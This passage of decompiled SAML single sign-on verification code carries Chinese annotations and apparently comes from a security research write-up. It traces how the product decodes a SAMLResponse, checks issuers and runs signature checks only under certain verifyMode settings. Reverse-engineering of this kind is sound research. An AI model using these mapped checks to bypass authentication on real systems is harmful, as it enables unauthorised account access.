197);"><span leaf="">xercesc_3_2::XMLPlatformUtils::Initialize</span></span><span leaf="">(off_61C08, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0LL</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0LL</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0LL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  v14 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc_3_2::Base64::decode</span></span><span leaf="">(*a2, &amp;v91, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0LL</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0LL</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !v14 )</span><span leaf=""><br/></span><span leaf="">  {</span><span style="color: rgb(106, 115, 125);"><span leaf="">// [...]</span><span leaf=""><br/></span></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  v15 = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> **)xercesc_3_2::XMLPlatformUtils::fgMemoryManager; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// xercesc_3_2::XMLPlatformUtils::fgMemoryManager 未设置 -&gt; null</span><span leaf=""><br/></span></span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc_3_2::MemBufInputSource::MemBufInputSource</span></span><span leaf="">(v99, v14, v91, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;SAMLResponse&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">1LL</span></span><span leaf="">, *(_QWORD *)xercesc_3_2::XMLPlatformUtils::fgMemoryManager);</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc_3_2::Wrapper4InputSource::Wrapper4InputSource</span></span><span leaf="">(v98, v99, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0LL</span></span><span leaf="">, *v15);</span><span leaf=""><br/></span><span leaf="">  v16 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">xmltooling::XMLToolingConfig::getConfig</span></span><span leaf="">((xmltooling::XMLToolingConfig *)v98);</span><span leaf=""><br/></span><span leaf="">  v17 = (*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(__int64))(*(_QWORD *)v16 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">64LL</span></span><span leaf="">))(v16); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// xmltooling::XMLToolingInternalConfig::getParser() const</span><span leaf=""><br/></span></span><span leaf="">  v18 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">xmltooling::ParserPool::parse</span></span><span leaf="">(v17, v98);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !v18 )</span><span leaf=""><br/></span><span leaf="">  {</span><span style="color: rgb(106, 115, 125);"><span leaf="">// [...]</span><span leaf=""><br/></span></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  v92 = v18;</span><span leaf=""><br/></span><span leaf="">  v19 = (*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(__int64))(*(_QWORD *)v18 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">104LL</span></span><span leaf="">))(v18); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// non-virtual thunk to xercesc_3_2::DOMDocumentImpl::getDocumentElement() const</span><span leaf=""><br/></span></span><span leaf="">  lpsrc = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> *)</span><span style="color: rgb(0, 92, 197);"><span leaf="">xmltooling::XMLObjectBuilder::buildOneFromElement</span></span><span leaf="">(v19, </span><span style="color: rgb(0, 92, 197);"><span leaf="">1LL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  v93 = lpsrc;</span><span leaf=""><br/></span><span leaf="">  v92 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0LL</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !lpsrc )</span><span leaf=""><br/></span><span leaf="">  {</span><span style="color: rgb(106, 115, 125);"><span leaf="">// [...]</span><span leaf=""><br/></span></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  v89 = a1 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">280</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !(</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">)</span><span style="color: rgb(0, 92, 197);"><span leaf="">std::string::compare</span></span><span leaf="">(a1 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">280</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;response&#34;</span></span><span leaf="">) || !(</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">)</span><span style="color: rgb(0, 92, 197);"><span leaf="">std::string::compare</span></span><span leaf="">(v89, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;both&#34;</span></span><span leaf="">) ) </span><span style="color: rgb(106, 115, 125);"><span leaf="">// 检查 verifyMode</span><span leaf=""><br/></span></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v20 = lpstype;</span><span leaf=""><br/></span><span leaf="">    v21 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">__dynamic_cast</span></span><span leaf="">(lpsrc, lpstype, off_61D98, -</span><span style="color: rgb(0, 92, 197);"><span leaf="">1LL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    v22 = v21;</span><span style="color: rgb(106, 115, 125);"><span leaf="">// [...]</span><span leaf=""><br/></span></span><span leaf="">    v23 = (*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(</span><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> *))(*(_QWORD *)v22 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">240LL</span></span><span leaf="">))(v22);</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">sub_3CFF0</span></span><span leaf="">(v23); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// 验证签名</span><span leaf=""><br/></span></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v20 = lpstype;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  v24 = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *)</span><span style="color: rgb(0, 92, 197);"><span leaf="">__dynamic_cast</span></span><span leaf="">(lpsrc, v20, off_61E90, -</span><span style="color: rgb(0, 92, 197);"><span leaf="">1LL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  v25 = v24;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !v24 )</span><span leaf=""><br/></span><span leaf="">  {</span><span style="color: rgb(106, 115, 125);"><span leaf="">// [...]</span><span leaf=""><br/></span></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !(*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *))(*(_QWORD *)&amp;v24[*(_QWORD *)(*(_QWORD *)v24 - </span><span style="color: rgb(0, 92, 197);"><span leaf="">472LL</span></span><span leaf="">)] + </span><span style="color: rgb(0, 92, 197);"><span leaf="">416LL</span></span><span leaf="">))(&amp;v24[*(_QWORD *)(*(_QWORD *)v24 - </span><span style="color: rgb(0, 92, 197);"><span leaf="">472LL</span></span><span leaf="">)]) ) </span><span style="color: rgb(106, 115, 125);"><span leaf="">// virtual thunk to opensaml::saml2p::StatusResponseTypeImpl::getStatus() const</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_94;</span><span leaf=""><br/></span><span leaf="">  v26 = (*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *))(*(_QWORD *)&amp;v25[*(_QWORD *)(*(_QWORD *)v25 - </span><span style="color: rgb(0, 92, 197);"><span leaf="">472LL</span></span><span leaf="">)] + </span><span style="color: rgb(0, 92, 197);"><span leaf="">416LL</span></span><span leaf="">))(&amp;v25[*(_QWORD *)(*(_QWORD *)v25 - </span><span style="color: rgb(0, 92, 197);"><span leaf="">472LL</span></span><span leaf="">)]); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// virtual thunk to opensaml::saml2p::StatusResponseTypeImpl::getStatus() const</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !(*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(__int64))(*(_QWORD *)v26 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">280LL</span></span><span leaf="">))(v26) ) </span><span style="color: rgb(106, 115, 125);"><span leaf="">// virtual thunk to opensaml::saml2p::StatusImpl::getStatusCode() const</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_94;</span><span leaf=""><br/></span><span leaf="">  v27 = (*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *))(*(_QWORD *)&amp;v25[*(_QWORD *)(*(_QWORD *)v25 - </span><span style="color: rgb(0, 92, 197);"><span leaf="">472LL</span></span><span leaf="">)] + </span><span style="color: rgb(0, 92, 197);"><span leaf="">416LL</span></span><span leaf="">))(&amp;v25[*(_QWORD *)(*(_QWORD *)v25 - </span><span style="color: rgb(0, 92, 197);"><span leaf="">472LL</span></span><span leaf="">)]); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// virtual thunk to opensaml::saml2p::StatusResponseTypeImpl::getStatus() const</span><span leaf=""><br/></span></span><span leaf="">  v28 = (*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(__int64))(*(_QWORD *)v27 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">280LL</span></span><span leaf="">))(v27); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// virtual thunk to opensaml::saml2p::StatusImpl::getStatusCode() const</span><span leaf=""><br/></span></span><span leaf="">  v29 = (__int16 *)(*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(__int64))(*(_QWORD *)v28 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">248LL</span></span><span leaf="">))(v28); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// virtual thunk to opensaml::saml2p::StatusCodeImpl::getValue() const</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">// [...]</span><span leaf=""><br/></span></span><span style="color: rgb(0, 92, 197);"><span leaf="">xmltooling::ValidatorSuite::validate</span></span><span leaf="">(off_61BF8, &amp;v25[*(_QWORD *)(*(_QWORD *)v25 - </span><span style="color: rgb(0, 92, 197);"><span leaf="">256LL</span></span><span leaf="">)]);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !(*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *))(*(_QWORD *)&amp;v25[*(_QWORD *)(*(_QWORD *)v25 - </span><span style="color: rgb(0, 92, 197);"><span leaf="">328LL</span></span><span leaf="">)] + </span><span style="color: rgb(0, 92, 197);"><span leaf="">288LL</span></span><span leaf="">))(&amp;v25[*(_QWORD *)(*(_QWORD *)v25 - </span><span style="color: rgb(0, 92, 197);"><span leaf="">328LL</span></span><span leaf="">)]) ) </span><span style="color: rgb(106, 115, 125);"><span leaf="">// virtual thunk to opensaml::saml2p::StatusResponseTypeImpl::getIssuer() const</span><span leaf=""><br/></span></span><span leaf="">  {</span><span style="color: rgb(106, 115, 125);"><span leaf="">// [...] 错误</span><span leaf=""><br/></span></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  v33 = (_QWORD *)(*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *))(*(_QWORD *)&amp;v25[*(_QWORD *)(*(_QWORD *)v25 - </span><span style="color: rgb(0, 92, 197);"><span leaf="">328LL</span></span><span leaf="">)] + </span><span style="color: rgb(0, 92, 197);"><span leaf="">288LL</span></span><span leaf="">))(&amp;v25[*(_QWORD *)(*(_QWORD *)v25 - </span><span style="color: rgb(0, 92, 197);"><span leaf="">328LL</span></span><span leaf="">)]); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// virtual thunk to opensaml::saml2p::StatusResponseTypeImpl::getIssuer() const</span><span leaf=""><br/></span></span><span leaf="">  v34 = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *)v33</span><span leaf=""><br/></span><span leaf="">      + *(_QWORD *)(*v33 - </span><span style="color: rgb(0, 92, 197);"><span leaf="">336LL</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">      + *(_QWORD *)(*(_QWORD *)((</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *)v33 + *(_QWORD *)(*v33 - </span><span style="color: rgb(0, 92, 197);"><span leaf="">336LL</span></span><span leaf="">)) - </span><span style="color: rgb(0, 92, 197);"><span leaf="">256LL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  issue_content = (*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *, _QWORD))(*(_QWORD *)v34 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">152LL</span></span><span leaf="">))(v34, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0LL</span></span><span leaf="">); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// virtual thunk to xmltooling::AbstractSimpleElement::getTextContent(unsigned int) const</span><span leaf=""><br/></span></span><span leaf="">  v36 = *v15;</span><span leaf=""><br/></span><span leaf="">  _issue_content = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *)</span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc_3_2::XMLString::transcode</span></span><span leaf="">(v35, *v15);</span><span leaf=""><br/></span><span leaf="">  s = _issue_content;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !_issue_content )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    s2 = v102;</span><span leaf=""><br/></span><span leaf="">LABEL_102:</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">std::__throw_logic_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;basic_string: construction from null is not valid&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc_3_2::XMLString::trim</span></span><span leaf="">((xercesc_3_2::XMLString *)_issue_content, v36); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// trim(issuer, &#34;&#34;)</span><span leaf=""><br/></span></span><span leaf="">  v38 = s;</span><span style="color: rgb(106, 115, 125);"><span leaf="">// std::string s2 = string::string(_issue_content = s, strlen(_issue_content))</span><span leaf=""><br/></span></span><span leaf="">  v42 = s2.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  v43 = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *)a1[</span><span style="color: rgb(0, 92, 197);"><span leaf="">15</span></span><span leaf="">]; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// 获取 issuer 配置大小</span><span leaf=""><br/></span></span><span leaf="">  v44 = a1[</span><span style="color: rgb(0, 92, 197);"><span leaf="">16</span></span><span leaf="">]; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// 从配置获取 issuer</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( v44 != s2.</span><span style="color: rgb(36, 41, 46);"><span leaf="">size</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">// 检查大小</span><span leaf=""><br/></span></span><span leaf="">    || v44 &amp;&amp; (v88 = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> *)a1[</span><span style="color: rgb(0, 92, 197);"><span leaf="">15</span></span><span leaf="">], v45 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">memcmp</span></span><span leaf="">(v88, s2.</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf="">, v44), v43 = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *)v88, v45) ) </span><span style="color: rgb(106, 115, 125);"><span leaf="">// 比较 issuer 配置与 samlres</span><span leaf=""><br/></span></span><span leaf="">  {</span><span style="color: rgb(106, 115, 125);"><span leaf="">// [...]</span><span leaf=""><br/></span></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  v46 = (*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *, __int64))(*(_QWORD *)v25 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">448LL</span></span><span leaf="">))(v25, </span><span style="color: rgb(0, 92, 197);"><span leaf="">2LL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  v47 = *(_QWORD **)v46;</span><span leaf=""><br/></span><span leaf="">  v86 = *(_QWORD **)(v46 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( *(_QWORD **)v46 == v86 )</span><span leaf=""><br/></span><span leaf="">  {</span><span style="color: rgb(106, 115, 125);"><span leaf="">// [...]</span><span leaf=""><br/></span></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">while</span></span><span leaf=""> ( </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !(</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">)</span><span style="color: rgb(0, 92, 197);"><span leaf="">std::string::compare</span></span><span leaf="">(v89, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;assertion&#34;</span></span><span leaf="">) || !(</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">)</span><span style="color: rgb(0, 92, 197);"><span leaf="">std::string::compare</span></span><span leaf="">(v89, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;both&#34;</span></span><span leaf="">) )</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">      v48 = *(_QWORD *)(*(_QWORD *)*v47 - </span><span style="color: rgb(0, 92, 197);"><span leaf="">304LL</span></span><span leaf="">) + *v47;</span><span leaf=""><br/></span><span leaf="">      v49 = (*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(__int64))(*(_QWORD *)v48 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">240LL</span></span><span leaf="">))(v48);</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">sub_3CFF0</span></span><span leaf="">(v49); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// 验证签名</span><span leaf=""><br/></span></span><span leaf="">    }</span><span style="color: rgb(106, 115, 125);"><span leaf="">// 相同流程</span><span leaf=""><br/></span></span><span leaf="">    v50 = (*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(_QWORD))(*(_QWORD *)*v47 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">352LL</span></span><span leaf="">))(*v47);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !v50 )</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">__syslog_chk</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">3LL</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">2LL</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;%s:%d subject is null&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;sso_saml.cpp&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">394</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_44;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    v51 = *(_QWORD *)(*(_QWORD *)*v47 - </span><span style="color: rgb(0, 92, 197);"><span leaf="">328LL</span></span><span leaf="">) + *v47;</span><span leaf=""><br/></span><span leaf="">    v52 = (_QWORD *)(*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(__int64))(*(_QWORD *)v51 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">288LL</span></span><span leaf="">))(v51);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( v52 )</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">__syslog_chk</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">3LL</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">2LL</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;%s:%d assert issuer is null&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;sso_saml.cpp&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">399</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">LABEL_44:</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( v86 == ++v47 )</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_45;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  v53 = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *)v52</span><span leaf=""><br/></span><span leaf="">      + *(_QWORD *)(*v52 - </span><span style="color: rgb(0, 92, 197);"><span leaf="">336LL</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">      + *(_QWORD *)(*(_QWORD *)((</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *)v52 + *(_QWORD *)(*v52 - </span><span style="color: rgb(0, 92, 197);"><span leaf="">336LL</span></span><span leaf="">)) - </span><span style="color: rgb(0, 92, 197);"><span leaf="">256LL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  v54 = (*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *, _QWORD))(*(_QWORD *)v53 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">152LL</span></span><span leaf="">))(v53, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0LL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  v55 = *v15;</span><span leaf=""><br/></span><span leaf="">  v56 = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *)</span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc_3_2::XMLString::transcode</span></span><span leaf="">(v54, *v15);</span><span leaf=""><br/></span><span leaf="">  v95 = v56;</span><span style="color: rgb(106, 115, 125);"><span leaf="">// [...]</span><span leaf=""><br/></span></span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc_3_2::XMLString::trim</span></span><span leaf="">((xercesc_3_2::XMLString *)v56, v55);</span><span leaf=""><br/></span><span leaf="">  v57 = v95;</span><span style="color: rgb(106, 115, 125);"><span leaf="">// 获取 issuer 并检查</span><span leaf=""><br/></span></span><span leaf="">  v61 = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *)v103;</span><span leaf=""><br/></span><span leaf="">  v62 = *(_QWORD *)(a1 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">128</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( v62 != v104 || v62 &amp;&amp; </span><span style="color: rgb(0, 92, 197);"><span leaf="">memcmp</span></span><span leaf="">(*(</span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> **)(a1 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">120</span></span><span leaf="">), v103, v62) )</span><span leaf=""><br/></span><span leaf="">  {</span><span style="color: rgb(106, 115, 125);"><span leaf="">// [...]</span><span leaf=""><br/></span></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !(*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(_QWORD))(*(_QWORD *)*v47 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">368LL</span></span><span leaf="">))(*v47) ) </span><span style="color: rgb(106, 115, 125);"><span leaf="">// virtual thunk to opensaml::saml2::AssertionImpl::getConditions() const</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_58; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// 跳转</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">// [...]</span><span leaf=""><br/></span></span><span leaf="">LABEL_58:</span><span leaf=""><br/></span><span leaf="">  v68 = (_QWORD *)(*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(__int64))(*(_QWORD *)v50 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">264LL</span></span><span leaf="">))(v50); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// virtual thunk to opensaml::saml2::SubjectImpl::getNameID() const</span><span leaf=""><br/></span></span><span leaf="">  v69 = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *)v68</span><span leaf=""><br/></span><span leaf="">      + *(_QWORD *)(*v68 - </span><span style="color: rgb(0, 92, 197);"><span leaf="">336LL</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">      + *(_QWORD *)(*(_QWORD *)((</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *)v68 + *(_QWORD *)(*v68 - </span><span style="color: rgb(0, 92, 197);"><span leaf="">336LL</span></span><span leaf="">)) - </span><span style="color: rgb(0, 92, 197);"><span leaf="">256LL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  v70 = (*(</span><span style="color: rgb(0, 92, 197);"><span leaf="">__int64</span></span><span leaf=""> (__fastcall **)(</span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *, _QWORD))(*(_QWORD *)v69 + </span><span style="color: rgb(0, 92, 197);"><span leaf="">152LL</span></span><span leaf="">))(v69, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0LL</span></span><span leaf="">); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// virtual thunk to xmltooling::AbstractSimpleElement::getTextContent(unsigned int) const</span><span leaf=""><br/></span></span><span leaf="">  v71 = *v15;</span><span leaf=""><br/></span><span leaf="">  v72 = (</span><span style="color: rgb(215, 58, 73);"><span 